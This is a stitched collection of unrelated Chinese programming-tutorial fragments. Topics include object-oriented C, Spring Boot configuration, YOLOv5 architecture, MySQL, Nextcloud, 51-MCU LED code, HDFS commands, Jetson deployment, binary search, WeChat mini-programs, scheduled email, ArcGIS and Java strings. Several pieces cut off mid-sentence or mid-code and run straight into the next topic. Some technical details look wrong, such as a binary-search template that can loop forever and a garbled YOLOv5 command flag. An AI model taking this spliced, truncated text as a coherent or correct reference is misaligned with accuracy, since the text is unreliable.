一.个人的一些理解 我们知道C++其实是从C语言发展而来的。C语言的绝大部分语法在C++同样适用,C++扩展了C语言。最明显的区别是C++有了类的语法,从而延伸出了对象的概念,拥有继承和多态性等等。其实在C语言里面结构体和C++的类是非常相似的,我们可以使用结构体实现类的绝大部分功能。因此,C主要是通过结构体去实现我们所说的面向对象的思想。如果了解过linux内核的源码(linux内核是由C语言实现的),我们会发现里面用到了大量的结构体,到处都弥漫着面向对象的气息。
结合上诉的描述,实操几个实例,初步了解下C语言是如何实现面向对象的。首先声明下,本篇文章只不过是作者自己的一个感悟,很有可能存在偏颇,不正确的地方,不必过于严肃对待,能够体会就体会,觉得误人子弟,请一笑而过。
对于面向对象里面比较重要的概念,继承和多态,C语言是如何实现呢?
继承的话,可以有一个父类的结构体,然后在子类结构体里面添加父类结构体作为成员变量即可。
多态的实现,可以通过同一个函数指针,对于同一个子类的不同实例化对象,指向不同的实现函数,即不同的方法,实现多态功能。
二.实例介绍 在实例中我会使用两个嵌入式常用到的例子,指示灯和延时。那么指示灯和延时怎么就和面向对象关联上了呢?使用指示灯的时候我们经常会用该各种不同的频率,1Hz,10Hz,等等,使用延时的时候,延时时间更是不确定。下面分开来讲。
例子还是比较肤浅,没有讲到继承和多态,主要是先引出以及理解这么一个概念,后续再更新迭代。
2.1指示灯类 我在这里把指示灯当作一类,即不管是红灯也好,绿灯也好,闪烁周期是1s或者0.5s等等。把它做成一类,然后在里面提供方法接口,根据传入的参数,由方法自己决定闪烁周期等等。
2.2延时类 延时有什么好归类的呢?不就delay_ms(),delay_us()等等。这些延时都是死等,在延时的过程中没法处理其他事情(除了中断产生及其里面的处理)。那如何实现延时的效果,同时又能处理其他事情呢?或许你会想到在定时器里面设标志位,到时间就清除标志位,等操作,但这种延时多了并不好维护,也不容易阅读。又或者用操作系统,有时候我们并不想什么都上操作系统。那好,延时类会给你答案,可以创建一个延时类,使用接口方法实现不同时长的延时,并且也不会阻塞等待。
三.例程源码 直接看源码体会吧,talk is cheap,show me the code. 你知道啥意思吗?是谁说的?
在windows平台下编译测试的,源码只是简单的实现框架和基础的功能,有兴趣的网友可以在此基础上“魔改”。
#include<stdio.h> #include<time.h> #include<windows.h> /*************指示灯类的闪烁******************/ typedef struct _signal_lamp { char start_flag; unsigned int count; unsigned int middle; unsigned int bottom; void (* signal_on)(void); void (* signal_off)(void); void (* signal_updata)(struct _signal_lamp *signal); void (* disable_signal)(struct _signal_lamp *signal); void (* enable_signal)(struct _signal_lamp *signal,unsigned int middle,unsigned int bottom); }SIGNAL_LAMP; void singal_on(void) { printf("
文章目录 项目分析项目设计系统架构图技术架构图 架构搭建项目环境配置配置文件测试框架 项目分析 本项目根据牛客网网站风格,开发网页论坛项目简化版,主要功能包括:用户注册登录验证、敏感词过滤、帖子发布、帖子回复评论、发送私信、点赞关注、网页搜索、权限控制、消息通知、性能优化等功能。
项目设计 系统架构图 技术架构图 架构搭建 项目环境配置 IDEA新建项目,选择Spring Initializr初始化springboot项目,Group,Package name根据自己的命名,
配置文件 application.properties
# ServerProperties server.port=8080 server.servlet.context-path=/community # ThymeleafProperties spring.thymeleaf.cache=false # DataSourceProperties spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver spring.datasource.url=jdbc:mysql://localhost:3306/community?characterEncoding=utf-8&useSSL=false&serverTimezone=CST # 数据库名称、密码 spring.datasource.username=root spring.datasource.password=123456 spring.datasource.type=com.zaxxer.hikari.HikariDataSource #最大连接数、超时时间等 spring.datasource.hikari.maximum-pool-size=15 spring.datasource.hikari.minimum-idle=5 spring.datasource.hikari.idle-timeout=30000 # MybatisProperties #mapper扫描路经 mybatis.mapper-locations=classpath:mapper/*.xml #在community下创建实体类 mybatis.type-aliases-package=com.ahtoh.community.entity mybatis.configuration.use-generated-keys=true mybatis.configuration.map-underscore-to-camel-case=true pom.xml
注意spring-boot-starter-parent 3.0 以上不支持Java1.8版本
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.7.0</version> <relativePath/> <!-- lookup parent from repository --> </parent> <groupId>com.ahtoh</groupId> <artifactId>community</artifactId> <version>0.
在C语言中,常用的占位符如下:
%d:用于输出整数类型(包括short、int、long、long long等);%u:用于输出无符号整数类型(包括unsigned short、unsigned int、unsigned long、unsigned long long等);%f:用于输出浮点数类型(包括float、double、long double等);%c:用于输出字符类型(包括char);%s:用于输出字符串类型(即指向字符数组或字符串字面量的char *类型);%p:用于输出指针类型(即指向任意类型的指针);%%:用于输出百分号。 除了上述常用的占位符外,C语言还支持其他一些占位符,如%e、%E(用于以科学计数法输出浮点数)、%o(用于以八进制形式输出整数)、%x、%X(用于以十六进制形式输出整数)等等。
需要注意的是,占位符的使用必须与要输出的数据类型相匹配,否则可能会出现编译错误或者运行时异常。此外,在格式化输出中,还可以使用转义字符来控制输出格式,如\t用于插入一个水平制表符,\n用于换行等等。
YOLOV4出现之后不久,YOLOv5横空出世。YOLOv5在YOLOv4算法的基础上做了进一步的改进,检测性能得到进一步的提升。虽然YOLOv5算法并没有与YOLOv4算法进行性能比较与分析,但是YOLOv5在COCO数据集上面的测试效果还是挺不错的。大家对YOLOv5算法的创新性半信半疑,有的人对其持肯定态度,有的人对其持否定态度。在我看来,YOLOv5检测算法中还是存在很多可以学习的地方,虽然这些改进思路看来比较简单或者创新点不足,但是它们确定可以提升检测算法的性能。其实工业界往往更喜欢使用这些方法,而不是利用一个超级复杂的算法来获得较高的检测精度。本文将对YOLOv5检测算法中提出的改进思路进行详细的解说,大家可以尝试者将这些改进思路应用到其它的目标检测算法中。
YOLOv5算法简介
YOLOv5是一种单阶段目标检测算法,该算法在YOLOv4的基础上添加了一些新的改进思路,使其速度与精度都得到了极大的性能提升。主要的改进思路如下所示:
输入端:在模型训练阶段,提出了一些改进思路,主要包括Mosaic数据增强、自适应锚框计算、自适应图片缩放;
基准网络:融合其它检测算法中的一些新思路,主要包括:Focus结构与CSP结构;
Neck网络:目标检测网络在BackBone与最后的Head输出层之间往往会插入一些层,Yolov5中添加了FPN+PAN结构;
Head输出层:输出层的锚框机制与YOLOv4相同,主要改进的是训练时的损失函数GIOU_Loss,以及预测框筛选的DIOU_nms。
3、YOLOv5算法详解
3.1 YOLOv5网络架构
上图展示了YOLOv5目标检测算法的整体框图。对于一个目标检测算法而言,我们通常可以将其划分为4个通用的模块,具体包括:输入端、基准网络、Neck网络与Head输出端,对应于上图中的4个红色模块。YOLOv5算法具有4个版本,具体包括:YOLOv5s、YOLOv5m、YOLOv5l、YOLOv5x四种,本文重点讲解YOLOv5s,其它的版本都在该版本的基础上对网络进行加深与加宽。
输入端-输入端表示输入的图片。该网络的输入图像大小为608*608,该阶段通常包含一个图像预处理阶段,即将输入图像缩放到网络的输入大小,并进行归一化等操作。在网络训练阶段,YOLOv5使用Mosaic数据增强操作提升模型的训练速度和网络的精度;并提出了一种自适应锚框计算与自适应图片缩放方法。
基准网络-基准网络通常是一些性能优异的分类器种的网络,该模块用来提取一些通用的特征表示。YOLOv5中不仅使用了CSPDarknet53结构,而且使用了Focus结构作为基准网络。
Neck网络-Neck网络通常位于基准网络和头网络的中间位置,利用它可以进一步提升特征的多样性及鲁棒性。虽然YOLOv5同样用到了SPP模块、FPN+PAN模块,但是实现的细节有些不同。
Head输出端-Head用来完成目标检测结果的输出。针对不同的检测算法,输出端的分支个数不尽相同,通常包含一个分类分支和一个回归分支。YOLOv4利用GIOU_Loss来代替Smooth L1 Loss函数,从而进一步提升算法的检测精度。
3.2 YOLOv5实现细节详解
3.2.1 YOLOv5基础组件
CBL-CBL模块由Conv+BN+Leaky_relu激活函数组成,如上图中的模块1所示。
Res unit-借鉴ResNet网络中的残差结构,用来构建深层网络,CBM是残差模块中的子模块,如上图中的模块2所示。
CSP1_X-借鉴CSPNet网络结构,该模块由CBL模块、Res unint模块以及卷积层、Concate组成而成,如上图中的模块3所示。
CSP2_X-借鉴CSPNet网络结构,该模块由卷积层和X个Res unint模块Concate组成而成,如上图中的模块4所示。
Focus-如上图中的模块5所示,Focus结构首先将多个slice结果Concat起来,然后将其送入CBL模块中。
SPP-采用1×1、5×5、9×9和13×13的最大池化方式,进行多尺度特征融合,如上图中的模块6所示。
3.2.2 输入端细节详解
Mosaic数据增强-YOLOv5中在训练模型阶段仍然使用了Mosaic数据增强方法,该算法是在CutMix数据增强方法的基础上改进而来的。CutMix仅仅利用了两张图片进行拼接,而Mosaic数据增强方法则采用了4张图片,并且按照随机缩放、随机裁剪和随机排布的方式进行拼接而成,具体的效果如下图所示。这种增强方法可以将几张图片组合成一张,这样不仅可以丰富数据集的同时极大的提升网络的训练速度,而且可以降低模型的内存需求。
自适应锚框计算-在YOLO系列算法中,针对不同的数据集,都需要设定特定长宽的锚点框。在网络训练阶段,模型在初始锚点框的基础上输出对应的预测框,计算其与GT框之间的差距,并执行反向更新操作,从而更新整个网络的参数,因此设定初始锚点框也是比较关键的一环。在YOLOv3和YOLOv4检测算法中,训练不同的数据集时,都是通过单独的程序运行来获得初始锚点框。YOLOv5中将此功能嵌入到代码中,每次训练时,根据数据集的名称自适应的计算出最佳的锚点框,用户可以根据自己的需求将功能关闭或者打开,具体的指令为parser.add_argument(‘–noautoanchor’, action=‘store_ true’, help=‘disable autoanchor check’),如果需要打开,只需要在训练代码时增加–noautoanch or选项即可。
自适应图片缩放-针对不同的目标检测算法而言,我们通常需要执行图片缩放操作,即将原始的输入图片缩放到一个固定的尺寸,再将其送入检测网络中。YOLO系列算法中常用的尺寸包括416*416,608 *608等尺寸。原始的缩放方法存在着一些问题,由于在实际的使用中的很多图片的长宽比不同,因此缩放填充之后,两端的黑边大小都不相同,然而如果填充的过多,则会存在大量的信息冗余,从而影响整个算法的推理速度。为了进一步提升YOLOv5算法的推理速度,该算法提出一种方法能够自适应的添加最少的黑边到缩放之后的图片中。具体的实现步骤如下所述。
步骤1-根据原始图片大小与输入到网络图片大小计算缩放比例。
步骤2-根据原始图片大小与缩放比例计算缩放后的图片大小。
步骤3-计算黑边填充数值。
如上图所示,416表示YOLOv5网络所要求的图片宽度,312表示缩放后图片的宽度。首先执行相减操作来获得需要填充的黑边长度104;然后对该数值执行取余操作,即104%32=8,使用32是因为整个YOLOv5网络执行了5次下采样操作,即2 5 = 32 2^{5} =322 5
=32;最后对该数值除以2,即将填充的区域分散到两边。这样将416*416大小的图片缩小到416*320大小,因而极大的提升了算法的推理速度。
需要注意的是:(1)该操作仅在模型推理阶段执行,模型训练阶段仍然和传统的方法相同,将原始图片裁剪到416*416大小;(2)YOLOv3与YOLOv4中默认填充的数值是(0,0,0),而YOLOv5中默认填充的数值是(114,114,114);(3)该操作仅仅针对原始图片的短边而言,仍然将长边裁剪到416。
3.2.3 基准网络细节详解
Focus结构-该结构的主要思想是通过slice操作来对输入图片进行裁剪。如下图所示,原始输入图片大小为608*608*3,经过Slice与Concat操作之后输出一个304*304*12的特征映射;接着经过一个通道个数为32的Conv层(该通道个数仅仅针对的是YOLOv5s结构,其它结构会有相应的变化),输出一个304*304*32大小的特征映射。
CSP结构-YOLOv4网络结构中,借鉴了CSPNet的设计思路,仅仅在主干网络中设计了CSP结构。而YOLOv5中设计了两种CSP结构,以YOLOv5s网络为例,CSP1_X结构应用于Backbone主干网络中,另一种CSP2_X结构则应用于Neck网络中。CSP1_X与CSP2_X模块的实现细节如3.1所示。
3.2.4 Neck网络细节详解
FPN+PAN-YOLOv5的Neck网络仍然使用了FPN+PAN结构,但是在它的基础上做了一些改进操作,YOLOv4的Neck结构中,采用的都是普通的卷积操作。而YOLOv5的Neck网络中,采用借鉴CSPnet设计的CSP2结构,从而加强网络特征融合能力。下图展示了YOLOv4与YOLOv5的Neck网络的具体细节,通过比较我们可以发现:(1)灰色区域表示第1个不同点,YOLOv5不仅利用CSP2_\1结构代替部分CBL模块,而且去掉了下方的CBL模块;(2)绿色区域表示第2个不同点,YOLOv5不仅将Concat操作之后的CBL模块更换为CSP2_1模块,而且更换了另外一个CBL模块的位置;(3)蓝色区域表示第3个不同点,YOLOv5中将原始的CBL模块更换为CSP2_1模块。
文章目录: 一、什么是数据库?二、主流数据库三、MySQL的基本使用3.1 连接服务器3.2 服务器管理3.3 数据库、服务器、表关系3.4 MySQL的基本使用 四、SQL分类五、MySQL架构六、存储引擎 一、什么是数据库? 数据库是结构化信息或数据的有组织的集合,通常以电子方式存储在计算机系统中。数据库通常由数据库管理系统(DBMS)控制。数据和DBMS,以及它们相关联的应用程序一起被称为数据库系统,通常简称为数据库。
存储数据用文件就可以了,为什么需要数据库呢?
虽然可以用文件存储数据,但是文件存储数据会有以下缺点:
文件的安全性问题:数据误操作之后无法进行回滚。不利于数据查询和管理:文件中的数据没有用某种数据结构组织起来。文件不利于存储海量数据:数据量越大,管理和操控数据的成本越高,文件存储不适合。文件在程序中控制不方便:在文件中查找数据成本较高。 为了解决文件存储数据的不足,设计了更加利于管理数据的数据库,数据库能够更高效的管理数据。
MySQL的认识:
MySQL 是数据库中的其中一种,它是运行在服务器上的数据库系统,适用于小型和大型应用程序。MySQL 数据库中的数据以表的形式存储。表示相关数据的集合,由列和行组成。
数据库是分为数据库服务器和数据库客户端的,其底层应用的是 TCP 协议。当我们安装好 MySQL 之后,客户端和服务端就一起安装了。如下所示:
mysqld 是 MySQL 的服务器端。我们使用的 mysql 命令实际上就是连接 mysqld 服务。使用命令 netstat 命令可以查看 TCP 协议的网络连接:
mysqld(mysql daemon) 其实是 SQL 后台程序(也就是 MySQL 服务器),它是关于服务器端的一个程序,它在后台运行,监听 3306 端口。当你使用客户端程序时,这个程序一定会在后台运行,因为客户端是通过连接服务器来访问数据库的。只有启动了 mysqld.exe ,MySQL 数据库才可以进行工作。
MySQL 是一个客户端软件,可以对任何主机的 MySQL 服务(即后台运行的 mysqld)发起连接,mysql 自带的客户端程序一般在 cmd 或者终端下进行操作。
数据库的存储介质:
MySQL 的数据存储结构主要分两个方面:物理存储结构与内存存储结构,作为数据库,所有的数据最后一定要落到磁盘上,才能完成持久化的存储。内存结构为了实现提升数据库整体性能,主要用于存储临时数据和日志的缓冲。
二、主流数据库 SQL Sever: 微软的产品,.Net程序员的最爱,中大型项目。Oracle: 甲骨文产品,适合大型项目,复杂的业务逻辑,并发一般来说不如MySQL。MySQL:世界上最受欢迎的数据库,属于甲骨文,并发性好,不适合做复杂的业务。主要用在电商,SNS,论坛。对简单的SQL处理效果好。PostgreSQL :加州大学伯克利分校计算机系开发的关系型数据库,不管是私用,商用,还是学术研究使用,可以免费使用,修改和分发。SQLite: 是一款轻型的数据库,是遵守ACID的关系型数据库管理系统,它包含在一个相对小的C库中。它的设计目标是嵌入式的,而且目前已经在很多嵌入式产品中使用了它,它占用资源非常的低,在嵌入式设备中,可能只需要几百K的内存就够了。H2: 是一个用Java开发的嵌入式数据库,它本身只是一个类库,可以直接嵌入到应用项目中。 三、MySQL的基本使用 3.1 连接服务器 连接 MySQL 服务器端的指令:
管理手册 Nextcloud文档:简介视频和博客目标受众发布说明维护和发布时间表主要版本维护版本关键的变化 Nextcloud文档: 管理手册用户手册开发人员手动 客户可以使用他们的凭证登录到我们的客户门户,以获得关于大型实例的可伸缩性和性能、企业数据库配置调优等的额外信息。点击此处进入我们的客户入口。
不是顾客?借助领先的内容协作平台提高团队生产力。
简介 欢迎阅读Nextcloud服务器管理指南。本指南描述了灵活的开源文件同步和共享解决方案Nextcloud的管理任务。Nextcloud包括在Linux上运行的Nextcloud服务器,微软Windows、macOS和Linux的客户端应用程序,以及Android和iOS操作系统的移动客户端。
当前版本的Nextcloud手册可在docs.nextcloud.com上在线获得。
Nextcloud服务器可用:
这里是列表文本作为一个免费的,全功能的社区支持的服务器,具有所有的企业功能。这里是列表文本或者提供全面的企业支持,包括与Nextcloud开发人员的电话和电子邮件访问。 视频和博客 查看YouTube上的Nextcloud官方频道,获取教程、概述和会议视频。
访问我们的博客获取最新消息,并了解更多关于Nextcloud内部和周围发生的事情。
目标受众 本指南适用于希望安装、管理和优化其Nextcloud服务器的用户。要了解更多关于Nextcloud Web用户界面以及桌面和移动客户端的信息,请参阅它们各自的手册:
Nextcloud用户手册Nextcloud桌面客户端 发布说明 有关发布说明,请参阅官方更新日志。
维护和发布时间表 您可以在以下位置找到主要版本和维护版本的详细时间表:detailed schedule。
主要版本 主要版本通常每4个月发布一次,前10周是开发阶段,然后是冻结阶段,包括4个beta版本、2个rc和1个最终版本,每个版本间隔1周。每个版本的具体日期可以在detailed schedule上找到。
主要版本计划在最初发布后的12个月内进行积极维护。有关长期支持选项,请参阅Nextcloud GmbH提供的Nextcloud订阅。
维护版本 维护发布被安排在一个4周的周期内,在发布日期前一周有冻结和RC 1。
关键的变化 不再支持PHP 7.4。请升级到php8.0或更高版本。现在支持PHP 8.2。推荐的web服务器配置已更改为不再包含到登录页面的默认重定向 对于Apache来说,这个变化将自动随版本提供的.htaccess文件一起出现对于nginx管理员应该确保他们的配置是最新的文档 要删除的相关行是error_page 403 /core/templates/403.php;和error_page 404 /core/templates/404.php; 你可以在这里找到应用程序开发人员的重要文档:https://docs.nextcloud.com/server/latest/developer_manual/app_publishing_maintenance/app_upgrade_guide/index.html每个文档都列出了相应版本的重大变化的链接。
写在这里,以后可以翻一翻。
2.LED灯闪烁 LED闪烁:简单理解就是先LED亮,然后延时500ms再亮,然后一直循环(重复),这样就是闪烁。
备注:相对于点亮LED灯实验,这个程序多了一个返回空函数和一个delay函数,
延时可以使用STC-ISP延时计算器,如下图,
注意开发板的频率,普中开发板是12MHZ, 清翔开发板是11.0592MHZ;
指令集选择STC-Y1,适用于STC89C系列;
然后点击复制代码,粘贴到keil里面。
3.LED流水灯 流水灯:8个LED灯依次被点亮,且只有一个LED亮,借助16进制非常好理解。
1111 1110 表示第一个灯亮,1111 1101表示第2个灯亮,1111 1011表示第3个灯亮。
中间再加上延时,就形成了流水灯。
流水灯代码方案一
流水灯代码方案二(没太看懂,以后再来翻一翻)
4.独立按键控制LED亮灭 ①需要注意独立按键是P3口,等于使用==,如果使用=,运行程序会报错。可以参考C51数据运算。
②IO口加了上拉电阻,默认是高电平,按下按键则接到地,被拉到低电平,LED灯就亮。
P0口有三个功能:
1、外部扩展存储器时,当做数据(Data)总线
2、外部扩展存储器时,当作地址(Address)总线
3、不扩展时,可做一般的I/O使用,但内部无上拉电阻,作为输入或输出时应在外部接上拉电阻
P1口只做I/O口使用:其内部有上拉电阻。
P2口有两个功能:
1、扩展外部存储器时,当作地址总线使用
2、做一般I/O口使用,其内部有上拉电阻;
P3口有两个功能:
除了作为I/O使用外(其内部有上拉电阻),还有一些特殊功能,由特殊寄存器来设置。
③代码如下:
5.独立按键控制LED状态 ①使用延时来消除按键的抖动,延时20ms
②代码如下(没看太懂,以后再来翻一翻)
6.独立按键控制LED显示二进制 每按一下按键,二进制数+1;8位LED灯按照二进制数显示;
无符号字符型,占8位,范围是0~255;LED灯也是8位。
7.独立按键控制LED位移
HDFS编程实践 1.利用Shell命令与HDFS进行交互1.1 目录操作1.2 文件操作 2.利用Web界面管理HDFS3.利用Java API与HDFS进行交互3.1 在Ubuntu中安装Eclipse3.2 使用Eclipse开发调试HDFS Java程序3.2.1 在Eclipse创建项目 3.4 编译运行程序 首先开启hadoop hadoop 时,无需进行 NameNode 的初始化 cd /usr/local/hadoop ./sbin/start-dfs.sh #启动hadoop 1.利用Shell命令与HDFS进行交互 有三种shell命令方式。
hadoop fs 适用于任何不同的文件系统,比如本地文件系统和HDFS文件系统hadoop dfs 只能适用于HDFS文件系统hdfs dfs 跟hadoop dfs的命令作用一样,也只能适用于HDFS文件系统 1.1 目录操作 HDFS中为hadoop用户创建一个用户目录
cd /usr/local/hadoop ./bin/hdfs dfs -mkdir -p /user/hadoop 显示HDFS中与当前用户hadoop对应的用户目录下的内容:
./bin/hdfs dfs -ls . 上面的命令和下面的命令是等价的:
./bin/hdfs dfs -ls /user/hadoop 如果要列出HDFS上的所有目录,可以使用如下命令,“.”表示HDFS中的当前用户目录,也就是“/user/hadoop”目录
./bin/hdfs dfs -ls . 可以使用如下命令创建一个input目录,这个input目录创建成功以后,它在HDFS中的完整路径是“/user/hadoop/input”。
./bin/hdfs dfs -mkdir input 在HDFS的根目录下创建一个名称为input的目录
./bin/hdfs dfs -mkdir /input 可以使用rm命令删除一个目录,比如,可以使用如下命令删除刚才在HDFS中创建的“/input”目录(不是“/user/hadoop/input”目录):
./bin/hdfs dfs -rm -r /input -r是递归删除(删除目录及其子目录所有内容)
目录 前言1. 源码下载2. 环境配置2.1 Jtop(option)2.1.1 配置pip2.1.2 安装jtop2.1.3 使用jtop 2.2 源码配置说明 3. 运行3.1 .pt转.wts3.2 build3.3 run 4. 结语5. 下载链接6. 参考 前言 给大家安利的第一个仓库是tensorrtx。该仓库通过TensorRT的Layer API完成模型的构建工作,自定义权重加载并通过TensorRT序列化生成engine文件,完成高性能推理工作。对模型部署有疑问的可参考上篇文章Jetson嵌入式系列模型部署-1。本文主要是针对tensorrtx项目中的yolov5完成嵌入式模型部署,本文参考自tensorrtx的README.md,具体操作流程作者描述非常详细,这里再简单过一遍,本次训练的模型使用的是yolov5s-6.0,类别数为2,为口罩识别😷。
1. 源码下载 使用如下指令
$ git clone https://github.com/wang-xinyu/tensorrtx.git 注:不同版本的yolov5使用不同版本的tensorrtx,具体参考here
删除多余的文件,只保留yolov5文件夹
2. 环境配置 需要使用的软件环境有TensorRT、CUDA、CUDNN、OpenCV。所有软件环境在JetPack镜像中已经安装完成。博主使用的jetpack版本为JetPack4.6.1(PS:关于jetson nano刷机就不再赘述了,需要各位看官自行配置好相关环境😄,外网访问较慢,这里提供JetPack镜像下载链接Baidu Drive[password:nano]【更新完毕!!!】(PS:提供4.6和4.6.1两个版本,注意4GB和2GB的区别,不要刷错了),关于Jetson Nano 2GB和4GB的区别可参考Jetson NANO是什么?如何选?。(吐槽下这玩意上传忒慢了,超级会员不顶用呀,终于上传完了,折磨!!!)
2.1 Jtop(option) 可使用如下指令查看自己的JetPack版本简单信息
$ cat /etc/nv_tegra_release 使用Jtop可查看JetPack详细信息。Jtop是一个由第三方开发,用于显示Jetson开发板信息的包,可以查询当前板子CPU,GPU使用率,实时功耗,Jetpack软件包信息等,参考自Jetson nano安装jtop,Jetson nano安装pip并换源
2.1.1 配置pip $ sudo apt install python-pip python3-pip $ pip3 install --upgrade pip $ pip install --upgrade pip pip换源,指令如下
$ sudo mkdir .
1.枚举查找和二分查找的区别 枚举查找也就是顺序查找。
实现原理就是逐个比较al0.n-11中的元素,直到找出元素x或将索偏整个数组后确定义不在其中,或者说符合要求的元素在不在数组中。
最坏的情况下需要比较N次,时间复杂度是O(n)线性阶。
二分查找也就是折半查找。折半查找是将N个元素分成大致相同的两部分。选取中间元素与查找签的元素比较,或者与查找条件相比较,找到或者说找到下一次查找的半区。每次都将范围缩小至;所以时间复杂度是0(log2n),但是二分查找的前提是有序的,一般是从小到排列。折半查找的基本思想:
在有序表中(low,high,low<=high),取中间记录即[(high+low)/2]作为比较对象。
●若给定值与中间记录的关键码相等,则查找成功
● 若给定值小于中间记录的关键码,则在中间记录的左半区继续查找
● 若给定值大于中间记录的关键码,则在中间记录的右半区继续查找
不断重复上述过程,直到查找成功,或所查找的区域无记录,查找失败。
二分查找的特征:
1.答案具有单调性;
2.二分答案的问题往往有固定的问法,比如:令最大值最小(最小值最大),求满足条件的最大(小)值等。
模板: #在单调递增序列a中查找>=x的数中最小的一个(后推x) while low < high: mid = (low + high) / 2 if a[mid] >= x: high = mid else: low = mid + 1 #在单调递增序列a中查找<=x的数中最大的一个(前推x) while low < high: mid = (low + high) / 2 if a[mid] <= x: low = mid else: high = mid - 1 题目:跳石头 题目描述 一年一度的"跳石头"比赛又要开始了!
介绍
这里是小编成长之路的历程,也是小编的学习之路。希望和各位大佬们一起成长!
以下为小编最喜欢的两句话:
要有最朴素的生活和最遥远的梦想,即使明天天寒地冻,山高水远,路远马亡。
一个人为什么要努力? 我见过最好的答案就是:因为我喜欢的东西都很贵,我想去的地方都很远,我爱的人超完美。因此,小编想说:共勉! 目录
前言
一、去注册一个高德地图api的账号
二、获取天气前的准备工作
1、登录高德开放平台
2、进入控制台===》点击应用管理===》我的应用===》创建应用
3、创建应用
编辑
1)可以选择其他也可以选择天气 2)在刚刚创建的应用中,点击添加
3)添加api key
4)获取到api key
三、获取amap-wx.js
四、创建一个微信小程序
weather.js
weather.wxml
weather.wxss
注意:需要添加高德地图的request域
一、去注册一个高德地图api的账号 高德官网:高德开放平台 | 高德地图API (amap.com)
二、获取天气前的准备工作 1、登录高德开放平台 2、进入控制台===》点击应用管理===》我的应用===》创建应用 3、创建应用 1)可以选择其他也可以选择天气 2)在刚刚创建的应用中,点击添加 3)添加api key 4)获取到api key 三、获取amap-wx.js 获取实时天气数据-获取数据-开发指南-微信小程序插件|高德地图API (amap.com)
四、创建一个微信小程序 如果是没有账号的话,可以看看小编的另一篇文章
【微信小程序】注册小程序账号、做一个案例——你好我的小程序_determine ZandR的博客-CSDN博客
weather.js 注意:虽然数组为7但是展现的页面还是3天的数据所以小编建议数组长度还是为3,美观一点
// 引用百度地图微信小程序JSAPI模块 let amap = require('../../lib/amap-wx.130.js'); Page({ /** * 页面的初始数据 */ data: { ak:"你刚刚获取的api key", weatherData:'', futureWeather:[] }, /** * 生命周期函数--监听页面加载 */ onLoad: function (options) { var that = this var myAmapFun = new amap.
介绍
这里是小编成长之路的历程,也是小编的学习之路。希望和各位大佬们一起成长!
以下为小编最喜欢的两句话:
要有最朴素的生活和最遥远的梦想,即使明天天寒地冻,山高水远,路远马亡。
一个人为什么要努力? 我见过最好的答案就是:因为我喜欢的东西都很贵,我想去的地方都很远,我爱的人超完美。因此,小编想说:共勉! 目录
前言
一、发送邮件的三种方法
二、定时任务介绍
1.@EnableScheduling
2.@Scheduled
三、前期准备工作
1、登录QQ邮箱获取授权码
第一步:进入QQ邮箱
第二步:找到POP3/SMTP,并开启
第三步:复制授权码
2、pom.xml中的依赖
3、在全局配置文件application.properties添加邮件服务配置
四、操作
一、创建邮件发送任务管理的业务处理类SendEmailService
二、在test类中发送邮件
三、发送定时邮件
四、在项目启动类上添加基于注解的定时任务支持:@EnableScheduling
一、发送邮件的三种方法 1、发送纯文本邮件
2、发送复杂邮件
3、发送模板邮件
二、定时任务介绍 Spring框架的定时任务调度功能支持配置和注解两种方式Spring Boot在Spring框架的基础上实现了继承,并对其中基于注解方式的定时任务实现了非常好的支持。下面,针对 Spring Boot 项目中基于注解方式的定时任务调度的相关注解和使用进行介绍。
1.@EnableScheduling @EnableScheduling 注解是 Spring 框架提供的,用于开启基于注解方式的定时任务支持,该注解主要用在项目启动类上。
2.@Scheduled @Scheduled 注解同样是 Spring 框架提供的,配置定时任务的执行规则,该注解主要用在定时业务方法上。@Scheduled 注解提供有多个属性,精细化配置定时任务执行规则
属性说明cron类似于 cron 的表达式,可以定制定时任务触发的秒、分钟、小时、月中的日、月、周中的日zone表示在上一次任务执行结束后在指定时间后继续执行下一次任务(属性值为long类型)fixedDelay指定cron 表达式将被解析的时区。默认情况下,该属性是空字符串(即使用服务器的本地时区fixedDelayString表示在上一次任务执行结束后在指定时间后继续执行下一次任务(属性值为long类型的字符串形式)fixedRate表示每隔指定时间执行一次任务 (属性值为 long 类型)fixedRateString表示每隔指定时间执行一次任务(属性值为 long 类型的字符串形式)initialDelay表示在fixedRate 或fixedDelay 任务第一次执行之前要延迟的毫秒数(属性值为long类型)initialDelayString表示在fixedRate或fixedDelay 任务第一次执行之前要延迟的毫秒数(属性值为long类型的字符串形式) 三、前期准备工作 1、登录QQ邮箱获取授权码 第一步:进入QQ邮箱 第二步:找到POP3/SMTP,并开启 第三步:复制授权码 开启过程需要手机号码验证,按照步骤操作即可。开启成功之后,即可获取一个授权码,将该号码保存好,一会使用
2、pom.xml中的依赖 <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-thymeleaf</artifactId> </dependency> <dependency> <groupId>org.
一、打开GDB数据库 // 输入一个数据库路径 string gdbPath = @"C:\Users\Administrator\Documents\ArcGIS\Projects\Test\Test.gdb"; await QueuedTask.Run(() => { // 如果文件夹存在并且包含有效的地理数据库,则会打开地理数据库。 using (Geodatabase geodatabase = new Geodatabase(new FileGeodatabaseConnectionPath(new Uri(gdbPath)))) { // TODO } }); 二、打开GDB数据库下的各类数据 1、打开表格【Table】 // 打开数据库里的表格 using (Table table = geodatabase.OpenDataset<Table>(tableName)) { // TODO } 2、打开要素类【FeatureClass】 // 打开一个要素类 (在数据集外或内都可以)。 using (FeatureClass featureClass = geodatabase.OpenDataset<FeatureClass>(fcName)) { // TODO } 3、以表格的形式打开一个要素类 // 以表格的形式打开一个要素类. using (Table featureClassAsTable = geodatabase.OpenDataset<Table>(fcName)) { // TODO } 这里虽然是以表格的形式打开,但是实际上它仍然是一个要素类,可以自由转换格式。
FeatureClass featureClassOpenedAsTable = featureClassAsTable as FeatureClass; 4、打开要素数据集【FeatureDataset】 // 打开一个数据集.
目录
1、首先必须要知道的原理
2、代码实操讲解
1、首先必须要知道的原理 1、String类代表字符串。 Java程序中的所有字符串文字(例如"abc" )都被实现为此类的实例。
字符串不变; 它们的值在创建后不能被更改。 字符串缓冲区支持可变字符串。 因为String对象是不可变的,它们可以被共享。 例如:
String str = "abc"; 相当于:
